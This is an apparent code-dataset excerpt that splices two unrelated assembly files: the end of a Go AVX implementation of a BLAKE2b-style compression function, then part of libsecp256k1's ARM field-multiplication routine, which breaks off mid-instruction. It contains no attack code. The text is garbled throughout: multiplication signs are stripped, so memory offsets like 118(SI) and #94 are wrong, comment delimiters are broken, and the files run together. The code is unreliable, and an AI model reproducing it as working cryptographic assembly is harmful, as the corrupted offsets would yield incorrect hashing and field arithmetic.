VPUNPCKHQDQ_X15_X6_X6; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X7_X7; \ #define HALF_ROUND_AVX(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ VPADDQ m0, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m1, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFD $-79, v6, v6; \ VPSHUFD $-79, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPSHUFB c40, v2, v2; \ VPSHUFB c40, v3, v3; \ VPADDQ m2, v0, v0; \ VPADDQ v2, v0, v0; \ VPADDQ m3, v1, v1; \ VPADDQ v3, v1, v1; \ VPXOR v0, v6, v6; \ VPXOR v1, v7, v7; \ VPSHUFB c48, v6, v6; \ VPSHUFB c48, v7, v7; \ VPADDQ v6, v4, v4; \ VPADDQ v7, v5, v5; \ VPXOR v4, v2, v2; \ VPXOR v5, v3, v3; \ VPADDQ v2, v2, t0; \ VPSRLQ $63, v2, v2; \ VPXOR t0, v2, v2; \ VPADDQ v3, v3, t0; \ VPSRLQ $63, v3, v3; \ VPXOR t0, v3, v3 // load msg: X12 = (i0, i1), X13 = (i2, i3), X14 = (i4, i5), X15 = (i6, i7) // i0, i1, i2, i3, i4, i5, i6, i7 must not be 0 #define LOAD_MSG_AVX(i0, i1, i2, i3, i4, i5, i6, i7) \ VMOVQ_SI_X12(i08); \ VMOVQ_SI_X13(i28); \ VMOVQ_SI_X14(i48); \ VMOVQ_SI_X15(i68); \ VPINSRQ_1_SI_X12(i18); \ VPINSRQ_1_SI_X13(i38); \ VPINSRQ_1_SI_X14(i58); \ VPINSRQ_1_SI_X15(i78) // load msg: X12 = (0, 2), X13 = (4, 6), X14 = (1, 3), X15 = (5, 7) #define LOAD_MSG_AVX_0_2_4_6_1_3_5_7() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X13(48); \ VMOVQ_SI_X14(18); \ VMOVQ_SI_X15(58); \ VPINSRQ_1_SI_X12(28); \ VPINSRQ_1_SI_X13(68); \ VPINSRQ_1_SI_X14(38); \ VPINSRQ_1_SI_X15(78) // load msg: X12 = (1, 0), X13 = (11, 5), X14 = (12, 2), X15 = (7, 3) #define LOAD_MSG_AVX_1_0_11_5_12_2_7_3() \ VPSHUFD $0x4E, 08(SI), X12; \ VMOVQ_SI_X13(118); \ VMOVQ_SI_X14(128); \ VMOVQ_SI_X15(78); \ VPINSRQ_1_SI_X13(58); \ VPINSRQ_1_SI_X14(28); \ VPINSRQ_1_SI_X15(38) // load msg: X12 = (11, 12), X13 = (5, 15), X14 = (8, 0), X15 = (2, 13) #define LOAD_MSG_AVX_11_12_5_15_8_0_2_13() \ VMOVDQU 118(SI), X12; \ VMOVQ_SI_X13(58); \ VMOVQ_SI_X14(88); \ VMOVQ_SI_X15(28); \ VPINSRQ_1_SI_X13(158); \ VPINSRQ_1_SI_X14_0; \ VPINSRQ_1_SI_X15(138) // load msg: X12 = (2, 5), X13 = (4, 15), X14 = (6, 10), X15 = (0, 8) #define LOAD_MSG_AVX_2_5_4_15_6_10_0_8() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X13(48); \ VMOVQ_SI_X14(68); \ VMOVQ_SI_X15_0; \ VPINSRQ_1_SI_X12(58); \ VPINSRQ_1_SI_X13(158); \ VPINSRQ_1_SI_X14(108); \ VPINSRQ_1_SI_X15(88) // load msg: X12 = (9, 5), X13 = (2, 10), X14 = (0, 7), X15 = (4, 15) #define LOAD_MSG_AVX_9_5_2_10_0_7_4_15() \ VMOVQ_SI_X12(98); \ VMOVQ_SI_X13(28); \ VMOVQ_SI_X14_0; \ VMOVQ_SI_X15(48); \ VPINSRQ_1_SI_X12(58); \ VPINSRQ_1_SI_X13(108); \ VPINSRQ_1_SI_X14(78); \ VPINSRQ_1_SI_X15(158) // load msg: X12 = (2, 6), X13 = (0, 8), X14 = (12, 10), X15 = (11, 3) #define LOAD_MSG_AVX_2_6_0_8_12_10_11_3() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X14(128); \ VMOVQ_SI_X15(118); \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X13(88); \ VPINSRQ_1_SI_X14(108); \ VPINSRQ_1_SI_X15(38) // load msg: X12 = (0, 6), X13 = (9, 8), X14 = (7, 3), X15 = (2, 11) #define LOAD_MSG_AVX_0_6_9_8_7_3_2_11() \ MOVQ 08(SI), X12; \ VPSHUFD $0x4E, 88(SI), X13; \ MOVQ 78(SI), X14; \ MOVQ 28(SI), X15; \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X14(38); \ VPINSRQ_1_SI_X15(118) // load msg: X12 = (6, 14), X13 = (11, 0), X14 = (15, 9), X15 = (3, 8) #define LOAD_MSG_AVX_6_14_11_0_15_9_3_8() \ MOVQ 68(SI), X12; \ MOVQ 118(SI), X13; \ MOVQ 158(SI), X14; \ MOVQ 38(SI), X15; \ VPINSRQ_1_SI_X12(148); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X14(98); \ VPINSRQ_1_SI_X15(88) // load msg: X12 = (5, 15), X13 = (8, 2), X14 = (0, 4), X15 = (6, 10) #define LOAD_MSG_AVX_5_15_8_2_0_4_6_10() \ MOVQ 58(SI), X12; \ MOVQ 88(SI), X13; \ MOVQ 08(SI), X14; \ MOVQ 68(SI), X15; \ VPINSRQ_1_SI_X12(158); \ VPINSRQ_1_SI_X13(28); \ VPINSRQ_1_SI_X14(48); \ VPINSRQ_1_SI_X15(108) // load msg: X12 = (12, 13), X13 = (1, 10), X14 = (2, 7), X15 = (4, 5) #define LOAD_MSG_AVX_12_13_1_10_2_7_4_5() \ VMOVDQU 128(SI), X12; \ MOVQ 18(SI), X13; \ MOVQ 28(SI), X14; \ VPINSRQ_1_SI_X13(108); \ VPINSRQ_1_SI_X14(78); \ VMOVDQU 48(SI), X15 // load msg: X12 = (15, 9), X13 = (3, 13), X14 = (11, 14), X15 = (12, 0) #define LOAD_MSG_AVX_15_9_3_13_11_14_12_0() \ MOVQ 158(SI), X12; \ MOVQ 38(SI), X13; \ MOVQ 118(SI), X14; \ MOVQ 128(SI), X15; \ VPINSRQ_1_SI_X12(98); \ VPINSRQ_1_SI_X13(138); \ VPINSRQ_1_SI_X14(148); \ VPINSRQ_1_SI_X15_0 // func fAVX(h [8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP VMOVDQU ·AVX_c40<>(SB), X0 VMOVDQU ·AVX_c48<>(SB), X1 VMOVDQA X0, X8 VMOVDQA X1, X9 VMOVDQU ·AVX_iv3<>(SB), X0 VMOVDQA X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·AVX_iv3 ^ (CX \|\| 0) VMOVDQU 0(AX), X10 VMOVDQU 16(AX), X11 VMOVDQU 32(AX), X2 VMOVDQU 48(AX), X3 VMOVQ_R8_X15 VPINSRQ_1_R9_X15 VMOVDQA X10, X0 VMOVDQA X11, X1 VMOVDQU ·AVX_iv0<>(SB), X4 VMOVDQU ·AVX_iv1<>(SB), X5 VMOVDQU ·AVX_iv2<>(SB), X6 VPXOR X15, X6, X6 VMOVDQA 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX_0_2_4_6_1_3_5_7() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_1_0_11_5_12_2_7_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_11_12_5_15_8_0_2_13() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_2_5_4_15_6_10_0_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_9_5_2_10_0_7_4_15() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_2_6_0_8_12_10_11_3() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX(4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_0_6_9_8_7_3_2_11() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_5_15_8_2_0_4_6_10() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX_6_14_11_0_15_9_3_8() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_12_13_1_10_2_7_4_5() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() SUBQ $1, BX; JCS done LOAD_MSG_AVX(10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX() LOAD_MSG_AVX_15_9_3_13_11_14_12_0() HALF_ROUND_AVX(X0, X1, X2, X3, X4, X5, X6, X7, X12, X13, X14, X15, X15, X8, X9) SHUFFLE_AVX_INV() JMP loop done: VMOVDQU 32(AX), X14 VMOVDQU 48(AX), X15 VPXOR X0, X10, X10 VPXOR X1, X11, X11 VPXOR X2, X14, X14 VPXOR X3, X15, X15 VPXOR X4, X10, X10 VPXOR X5, X11, X11 VPXOR X6, X14, X2 VPXOR X7, X15, X3 VMOVDQU X2, 32(AX) VMOVDQU X3, 48(AX) VMOVDQU X10, 0(AX) VMOVDQU X11, 16(AX) VZEROUPPER MOVQ BP, SP RET
0xsequence/ethkit	28,281	go-ethereum/crypto/secp256k1/libsecp256k1/src/asm/field_10x26_arm.s	@ vim: set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab syntax=armasm: /*********************************************************************** * Copyright (c) 2014 Wladimir J. van der Laan * * Distributed under the MIT software license, see the accompanying * * file COPYING or https://www.opensource.org/licenses/mit-license.php.* **********************************************************************/ / ARM implementation of field_10x26 inner loops. Note: - To avoid unnecessary loads and make use of available registers, two 'passes' have every time been interleaved, with the odd passes accumulating c' and d' which will be added to c and d respectively in the even passes / .syntax unified @ eabi attributes - see readelf -A .eabi_attribute 24, 1 @ Tag_ABI_align_needed = 8-byte .eabi_attribute 25, 1 @ Tag_ABI_align_preserved = 8-byte, except leaf SP .text @ Field constants .set field_R0, 0x3d10 .set field_R1, 0x400 .set field_not_M, 0xfc000000 @ ~M = ~0x3ffffff .align 2 .global secp256k1_fe_mul_inner .type secp256k1_fe_mul_inner, %function .hidden secp256k1_fe_mul_inner @ Arguments: @ r0 r Restrict: can overlap with a, not with b @ r1 a @ r2 b @ Stack (total 4+104 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_mul_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /***************************************** * Main computation code. ****************************************** Allocation: r0,r14,r7,r8 scratch r1 a (pointer) r2 b (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] / / A - interleaved with B / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #94] @ b[9] ldr r0, [r1, #14] @ a[1] umull r5, r6, r7, r8 @ d = a[0] * b[9] ldr r14, [r2, #84] @ b[8] umull r9, r10, r0, r8 @ d' = a[1] b[9] ldr r7, [r1, #24] @ a[2] umlal r5, r6, r0, r14 @ d += a[1] b[8] ldr r8, [r2, #74] @ b[7] umlal r9, r10, r7, r14 @ d' += a[2] b[8] ldr r0, [r1, #34] @ a[3] umlal r5, r6, r7, r8 @ d += a[2] b[7] ldr r14, [r2, #64] @ b[6] umlal r9, r10, r0, r8 @ d' += a[3] b[7] ldr r7, [r1, #44] @ a[4] umlal r5, r6, r0, r14 @ d += a[3] b[6] ldr r8, [r2, #54] @ b[5] umlal r9, r10, r7, r14 @ d' += a[4] b[6] ldr r0, [r1, #54] @ a[5] umlal r5, r6, r7, r8 @ d += a[4] b[5] ldr r14, [r2, #44] @ b[4] umlal r9, r10, r0, r8 @ d' += a[5] b[5] ldr r7, [r1, #64] @ a[6] umlal r5, r6, r0, r14 @ d += a[5] b[4] ldr r8, [r2, #34] @ b[3] umlal r9, r10, r7, r14 @ d' += a[6] b[4] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r8 @ d += a[6] b[3] ldr r14, [r2, #24] @ b[2] umlal r9, r10, r0, r8 @ d' += a[7] b[3] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r14 @ d += a[7] b[2] ldr r8, [r2, #14] @ b[1] umlal r9, r10, r7, r14 @ d' += a[8] b[2] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r8 @ d += a[8] b[1] ldr r14, [r2, #04] @ b[0] umlal r9, r10, r0, r8 @ d' += a[9] b[1] ldr r7, [r1, #04] @ a[0] umlal r5, r6, r0, r14 @ d += a[9] b[0] @ r7,r14 used in B bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 49] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 / B / umull r3, r4, r7, r14 @ c = a[0] b[0] adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 04] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 R1 umlal r3, r4, r0, r14 /* C - interleaved with D / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #24] @ b[2] ldr r14, [r2, #14] @ b[1] umull r11, r12, r7, r8 @ c' = a[0] * b[2] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[1] b[1] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[2] b[0] ldr r0, [r1, #34] @ a[3] umlal r5, r6, r7, r14 @ d += a[2] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[3] b[9] ldr r7, [r1, #44] @ a[4] umlal r5, r6, r0, r8 @ d += a[3] b[8] ldr r14, [r2, #74] @ b[7] umlal r9, r10, r7, r8 @ d' += a[4] b[8] ldr r0, [r1, #54] @ a[5] umlal r5, r6, r7, r14 @ d += a[4] b[7] ldr r8, [r2, #64] @ b[6] umlal r9, r10, r0, r14 @ d' += a[5] b[7] ldr r7, [r1, #64] @ a[6] umlal r5, r6, r0, r8 @ d += a[5] b[6] ldr r14, [r2, #54] @ b[5] umlal r9, r10, r7, r8 @ d' += a[6] b[6] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] b[5] ldr r8, [r2, #44] @ b[4] umlal r9, r10, r0, r14 @ d' += a[7] b[5] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] b[4] ldr r14, [r2, #34] @ b[3] umlal r9, r10, r7, r8 @ d' += a[8] b[4] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[3] ldr r8, [r2, #24] @ b[2] umlal r9, r10, r0, r14 @ d' += a[9] b[3] umlal r5, r6, r0, r8 @ d += a[9] * b[2] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 14] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 R1 umlal r3, r4, r0, r14 /* D / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 24] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 R1 umlal r3, r4, r0, r14 /* E - interleaved with F / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #44] @ b[4] umull r11, r12, r7, r8 @ c' = a[0] b[4] ldr r8, [r2, #34] @ b[3] umlal r3, r4, r7, r8 @ c += a[0] b[3] ldr r7, [r1, #14] @ a[1] umlal r11, r12, r7, r8 @ c' += a[1] b[3] ldr r8, [r2, #24] @ b[2] umlal r3, r4, r7, r8 @ c += a[1] b[2] ldr r7, [r1, #24] @ a[2] umlal r11, r12, r7, r8 @ c' += a[2] b[2] ldr r8, [r2, #14] @ b[1] umlal r3, r4, r7, r8 @ c += a[2] b[1] ldr r7, [r1, #34] @ a[3] umlal r11, r12, r7, r8 @ c' += a[3] b[1] ldr r8, [r2, #04] @ b[0] umlal r3, r4, r7, r8 @ c += a[3] b[0] ldr r7, [r1, #44] @ a[4] umlal r11, r12, r7, r8 @ c' += a[4] b[0] ldr r8, [r2, #94] @ b[9] umlal r5, r6, r7, r8 @ d += a[4] b[9] ldr r7, [r1, #54] @ a[5] umull r9, r10, r7, r8 @ d' = a[5] b[9] ldr r8, [r2, #84] @ b[8] umlal r5, r6, r7, r8 @ d += a[5] b[8] ldr r7, [r1, #64] @ a[6] umlal r9, r10, r7, r8 @ d' += a[6] b[8] ldr r8, [r2, #74] @ b[7] umlal r5, r6, r7, r8 @ d += a[6] b[7] ldr r7, [r1, #74] @ a[7] umlal r9, r10, r7, r8 @ d' += a[7] b[7] ldr r8, [r2, #64] @ b[6] umlal r5, r6, r7, r8 @ d += a[7] b[6] ldr r7, [r1, #84] @ a[8] umlal r9, r10, r7, r8 @ d' += a[8] b[6] ldr r8, [r2, #54] @ b[5] umlal r5, r6, r7, r8 @ d += a[8] b[5] ldr r7, [r1, #94] @ a[9] umlal r9, r10, r7, r8 @ d' += a[9] b[5] ldr r8, [r2, #44] @ b[4] umlal r5, r6, r7, r8 @ d += a[9] b[4] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 34] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 R1 umlal r3, r4, r0, r14 /* F / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 44] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 R1 umlal r3, r4, r0, r14 /* G - interleaved with H / ldr r7, [r1, #04] @ a[0] ldr r8, [r2, #64] @ b[6] ldr r14, [r2, #54] @ b[5] umull r11, r12, r7, r8 @ c' = a[0] * b[6] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[5] ldr r8, [r2, #44] @ b[4] umlal r11, r12, r0, r14 @ c' += a[1] b[5] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[4] ldr r14, [r2, #34] @ b[3] umlal r11, r12, r7, r8 @ c' += a[2] b[4] ldr r0, [r1, #34] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] b[3] ldr r8, [r2, #24] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] b[3] ldr r7, [r1, #44] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] b[2] ldr r14, [r2, #14] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] b[2] ldr r0, [r1, #54] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] b[1] ldr r7, [r1, #64] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] b[0] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] b[9] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] b[8] ldr r14, [r2, #74] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] b[8] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[7] ldr r8, [r2, #64] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 54] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 R1 umlal r3, r4, r0, r14 /* H / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 64] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 R1 umlal r3, r4, r0, r14 /* I - interleaved with J / ldr r8, [r2, #84] @ b[8] ldr r7, [r1, #04] @ a[0] ldr r14, [r2, #74] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[7] ldr r8, [r2, #64] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] b[7] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[6] ldr r14, [r2, #54] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] b[6] ldr r0, [r1, #34] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] b[5] ldr r8, [r2, #44] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] b[5] ldr r7, [r1, #44] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] b[4] ldr r14, [r2, #34] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] b[4] ldr r0, [r1, #54] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] b[3] ldr r8, [r2, #24] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] b[3] ldr r7, [r1, #64] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] b[2] ldr r14, [r2, #14] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] b[2] ldr r0, [r1, #74] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] b[1] ldr r7, [r1, #84] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] b[0] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 74] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 R1 umlal r3, r4, r0, r14 /* J / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 84] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] / ldr r0, [sp, #0] add r1, sp, #4 + 34 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #34 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #84] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 04 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #94] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, 